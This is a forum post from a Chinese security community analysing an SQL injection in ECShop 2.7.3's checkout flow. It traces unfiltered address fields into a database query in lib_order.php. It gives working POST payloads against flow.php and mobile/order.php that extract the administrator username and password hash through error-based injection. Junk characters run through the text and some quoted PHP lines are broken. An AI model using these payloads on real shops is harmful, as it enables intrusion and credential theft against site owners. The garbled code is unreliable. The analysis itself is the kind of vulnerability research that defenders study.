找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2675|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。6 a' Z2 q3 d) w. R& f$ _
" f5 e1 g( D9 K- R0 ]
    漏洞关键文件:/ \( U4 \7 `7 U. v. e

2 D; |$ p1 }5 l6 ?- q9 e    /includes/lib_order.php' g( z' B! b8 B0 i3 O
0 V' U) v- I: Z: v' K" n0 P* [
    关键函数:9 t  n; S" v- m( }

1 q1 J7 L9 T- o  y: A9 m & _+ {2 R" y: ?% y1 G# W  r; n
2 S1 _/ i% K; x; ]3 i
01     function available_shipping_list($region_id_list) " Z4 ?3 t+ Y6 l" z; s3 A6 l/ q

0 a# \& D3 ]2 P( U0 k' O02 {
: w+ M* K" h% U: L
! R: A- g# \, S3 y, e8 J# e1 Z/ ^$ A03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
$ }3 ?% v4 u* e$ E) c! |- [8 H: `* Y" h" |
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 4 \& B" r) v8 a7 l9 F  P6 J% _% W

9 l7 {1 a2 a# o! R: q, Z8 j05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
# B; \& @7 P' G/ ^. G
  l; O  l8 {2 w4 k& Q06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .   n* b+ Y3 x' v! d* I2 L
+ [1 q7 ^" l& A" p
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ b! [. W" \8 T. P2 ^9 d1 t: }, N0 f
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
! K4 k5 T5 {  C4 O7 k( b% M, k1 q- C# K. b8 {
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; - Y- m; L8 c' A" u
$ L8 z/ @" S. e5 n2 ?, K- l6 n, T
10   2 T/ U* v* r3 Y' n# ^! V
" ^2 h  P& q; m. `. n# u4 v% \6 \
11     return $GLOBALS['db']->getAll($sql);
; W! a6 i* E' Q3 T9 G9 @2 Q4 n5 U
3 l4 c0 o/ i* F% z# `12 }
2 Q2 p7 j/ E6 i/ q
! b% r- c9 R# S3 `. o4 j显然对传入的参数没有任何过滤就带入了查询语句。
" [/ A3 W. n( g# S$ D
# K/ a1 |3 X% ~7 N/ E. R下面我们追踪这个函数在flow.php中:: @5 V5 v) [& ?0 q! z$ S: ?0 y. G
第531行:   $ O% Y9 m7 E+ I/ N4 Q: b5 S% W& g

, |4 |2 t- l: E" m" i9 L: ]1 R; F1 $shipping_list     = available_shipping_list($region); 0 h( b, y* z/ N& ^4 J
1 O3 N) G7 }+ Q/ n
. e$ s+ L7 [# R4 i* ~8 g  n

$ ]0 G) x6 f5 E5 P* F! ~0 R- ` 7 o8 U0 X2 B5 y9 L0 Y8 B2 c$ {

( }! |/ O, P3 }7 @! ?再对传入变量进行追踪:
+ r3 _5 }. f2 ?4 h- M0 S! o7 r4 U% B
第530行:   
; o8 n. R" z- f7 X4 i
* w1 d( h- |( N- A1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
6 ]# o5 u( D( c7 N2 }! B9 U7 m  P1 e, z; G5 Q
& x) |& C+ D/ l) G. F5 s4 l

! N! r5 I2 O' }; Q2 p& d
' N1 J" |" K" }0 \% u% T
& g. l  D! t# N  x- E$ U第473行:        
, q# h  `. x8 ?5 V" W4 P- `* s& e( W. ~! ^$ W8 P  i
1 $consignee = get_consignee($_SESSION['user_id']);
* ]2 K% L/ Q: w3 ]1 w7 x! D5 p2 K4 X% {/ i2 R( p4 R3 F" c" Z
到了一个关键函数:' u5 t7 D- k0 n2 _% ~0 d3 z# d

2 [1 R9 p% Z* [1 \% T( ?/includes/lib_order.php9 Y2 M; ^% G& n. X4 T  z

) o# r; O- e- p: } 7 Q# X! L+ a$ |. k3 r' d/ K, E
/ e# {. s  {; v1 D9 H. G

8 C+ I2 I1 }* ~( L1 Z6 d, D( V' V" U
01 function get_consignee($user_id)
) _2 f2 `. ]& o
) {* ], p) b: |9 i02 {
5 B7 J1 c0 n- n5 z  q& U& I! u4 n  N  F! Q: F9 r
03     if (isset($_SESSION['flow_consignee'])) - z0 Q) {; \5 A8 i. u

6 z4 A+ e+ O' N) ]( j1 Z04     {
& D# e4 P' M! w0 U) ]" J1 X( I$ {# n3 @2 b& {1 w# x
05         /* 如果存在session,则直接返回session中的收货人信息 */ + p6 m- w2 o  ]$ L3 o. |

* ~/ n  |1 e+ |( o06   / r2 Q- y2 T  D  }0 c& U
0 I7 |- l, ^' g5 c6 ]
07         return $_SESSION['flow_consignee']; $ m1 p* N  e  R- o- f1 i

) H, S. k* H5 w2 a9 e6 `1 G2 z3 W08     } 6 F5 K1 i2 _& G% }# N7 a& R, _* F

' K# [7 e9 d6 k: B: ]# A# `09     else 0 n1 t) p6 r( r" N. @

* f4 Z) Y4 O/ t+ D5 E$ X% q; h10     { ; s6 G$ M- M7 g

5 c; b- p5 Z3 S  E7 a0 y& o! }2 r11         /* 如果不存在,则取得用户的默认收货人信息 */ # B% T1 ]3 |0 D" y2 t$ Y8 ~9 ~
* Z# l2 p. n. e0 L$ m& F# o# ]: m0 C- V
12         $arr = array(); # x4 B0 V1 _/ w

1 M: O" y  \0 ^/ |9 O( \; M13   2 s0 s. Y7 h5 e6 U" L

+ ]) E  g- Q2 d% G; T' V4 N9 A4 `14         if ($user_id > 0) " E9 g+ k: R; \0 n+ U1 ]

" i7 e( A* ?+ f, a, c) W6 h2 A15         {
+ E3 k2 G! \# P. ?$ U6 @, B, ]  t. E, @% z6 o* {
16             /* 取默认地址 */ * }) E( c: L1 |, X5 z- F2 @. X6 s

5 L9 o5 E, ~7 {17             $sql = "SELECT ua.*".   E& S% s' Z% A0 f
" I( J+ x0 [, e( E9 n! k! _3 |
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
  D" {$ P6 K% o9 ~: M) P" m
6 ]: ]3 z, K8 G  g19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 B2 V) n: L; E, f" u  f
4 l8 e6 G# W0 I20   
9 {2 `/ x2 J) i! H% k' o: y" @1 T3 r# C5 z; r1 m
21             $arr = $GLOBALS['db']->getRow($sql); . ^0 c+ v% t3 z1 ?  f

9 y) m7 y( U' M4 E) `22         }
8 d$ z/ R8 T8 J# q# \
% Y: V$ D* e: \: p. m/ |* R# V! g23   
9 p. ^( X" d  a: ?" r1 v" H9 v5 M1 x6 B; C2 z# v
24         return $arr; ! x+ n0 E, G0 H1 X) E7 u. a

6 i0 l- l/ S' }& i; G25     } / K& K$ `+ q# E% D
* W: L6 U; y5 ~9 z
26 }
8 p4 T$ A  ~/ n# c& R5 B8 D5 H* V8 [% B! F
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
3 `( Z; t2 e* K4 r9 U$ n6 J! ^5 O. \; @2 @! G
+ W+ p' Y6 z+ }

& R& B# v" S$ @2 }1 u; R: j1 g关键点:
( R) Q# p$ @9 M2 C2 m5 r  Q0 G* c6 k) U* G, K. r
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: J$ a! C& f5 Z3 ?1 t

' n6 N2 @, a1 _! E这里对传入参数反转义存入$_SESSION中。
" Z! t/ ^% }- r# N* y0 r$ R1 U& H& W# E7 |# G3 [$ w. \

/ r5 P8 I. s+ b6 ~1 y9 I# }3 [8 b: Z3 R+ {; }8 U
然后看下:
$ m% C/ ]0 G# W* i" ]2 P5 Y. a- y2 L2 O
  m; g& `6 s2 c0 p7 {% C

  k' N& v' F0 I  @$ t   
5 F9 p2 O. @0 P6 |: p
3 s0 }6 ~; H  k$ c' f" b% s01 $consignee = array(
, E# }4 N8 S; R  o+ W6 l2 G: s' f  {$ Z" X! e( Y% e
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
8 C% D0 \2 }' B0 l/ P
) q( I) S1 k0 ^& t6 G03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
' q# F/ Z+ A/ |% k4 }
% M+ L; n  k& i; g$ S04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
& W# w9 t; T( P& w$ a4 ~; s9 c. _0 q3 G; I# v
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], + V+ E2 W- `  Q7 z7 w. G
7 b' e! ?: z# t# y+ O
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
4 I. ~; j1 N) y9 d9 H
% }) p: ~: T; r$ y9 A! U3 x4 j# j07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 0 c9 g; R* B/ k) F* _9 z
5 t" [* h6 c! N$ o, i7 {& y7 D
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], : W. P' c/ _8 ~4 h

9 R* U' K8 Y/ w- M6 P09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
7 u$ q( I; i5 I* t4 y
& Q0 d5 h( d: F- J, d5 q10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
% \0 I; V! |: A7 i% A# l
* f: m( a2 g; N# b( G: I4 Y11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
6 f* ~" @6 Y. v8 b. ?* }+ D' X
& G3 t3 b& f$ Q4 c. h& E12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), " N$ t0 O/ W8 X* a& i
2 R6 g6 W/ `( b7 X/ s( m
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
" `: L4 e% @% o4 ]
0 B% z! m. x2 f$ m! G( o0 C# H( X7 Z14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], , o0 A9 n" u' w& I" Q( g# d* k+ f
9 L7 N( n5 O4 @/ b! j6 k. x1 Y/ |
15     ); ( x* f7 k( E( u  Q5 t

4 s- t# p4 K1 }9 v4 K7 K/ [好了注入就这样出现了。
6 s/ P  X2 Q8 X1 ^: {  ~) i( p# Z
==================! {, f2 A/ E) _% x5 J) h
! R: x  A1 Z0 D: Y' ?7 l1 o  K
注入测试:
4 ^- e$ Y' T3 P2 R
& `& M6 R7 k' M; @5 F; ~# H环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)  a9 E' v/ r; p( v/ |- o& j

8 C0 V, b, R( U  X# K测试程序:ECShop_V2.7.3_UTF8_release1106
. a5 Q' @) Q5 Q5 v; a+ B2 W3 Y8 v5 q5 o% g0 c% ?

8 j& W+ B  b" c4 H
9 F' Y: I6 G+ _( B( f; t+ d8 ]0 O1.首先需要点击一个商品加入购物车
  \$ i' u- }) N, i" R; @8 p9 g( ?# y# [& n( ], }
2.注册一个会员帐号
. m5 i4 c% D% w7 b- B0 y& x$ {0 ?7 v
3.post提交数据& W2 c6 W4 n" a
- g2 {% V/ f, F* O- a. j' P

* R" J$ Z0 `2 J4 ]
: V/ V! P$ e% ]5 q- s1 http://127.0.0.1/ecshop/flow.php " O: Y7 _- w8 G/ p* z. q: z* v- w
. w) H8 G2 [" ~, T- P. I/ y
2   
; j$ `! a6 S5 L9 s' v! n* @) _# F$ h: k% {* E0 _, \" S2 S+ E7 z8 s
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ G0 `" R% w1 g* o' j! e0 a+ ^举一反三,我们根据这个漏洞我们可以继续深入挖掘:
  R. u2 ^7 o1 I
/ {; _; u. Z, p. F, j$ P我们搜寻关键函数function available_shipping_list(), ^( J- f7 g- ]  |' x9 B

, H, n  P: b6 L' u" n% _在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同& N2 w- V, a  `2 |  |; y! Y# O

+ N6 ?3 r+ F$ d利用exp:
# k1 S  `  W- n" T7 G: j- ?" r* \( u8 N
1.点击一个商品,点击购买商标
! z. g, B$ E7 s7 z. r: Y, q: q0 O. E# a  d: }$ w
2.登录会员帐号& K6 C2 p9 ]* l+ [

* B# D; e; x# u" h  V$ Q2 U3.post提交:
1 a2 W7 w7 k" E! A0 y9 t" X  z: B! Y7 P; j1 ~2 W0 \
http://127.0.0.1/ecshop/mobile/order.php
8 _- l  C% N3 H
( m- b: b4 p' P: `+ d: ` 0 U% l! ]# s: R8 S; s
7 `$ x2 I( y2 q' F6 l: u# U  a
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=1 y9 C4 m/ p9 a2 u: Y: v# n2 C

* [! x( _/ A  P. |% y. {! c+ U5 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表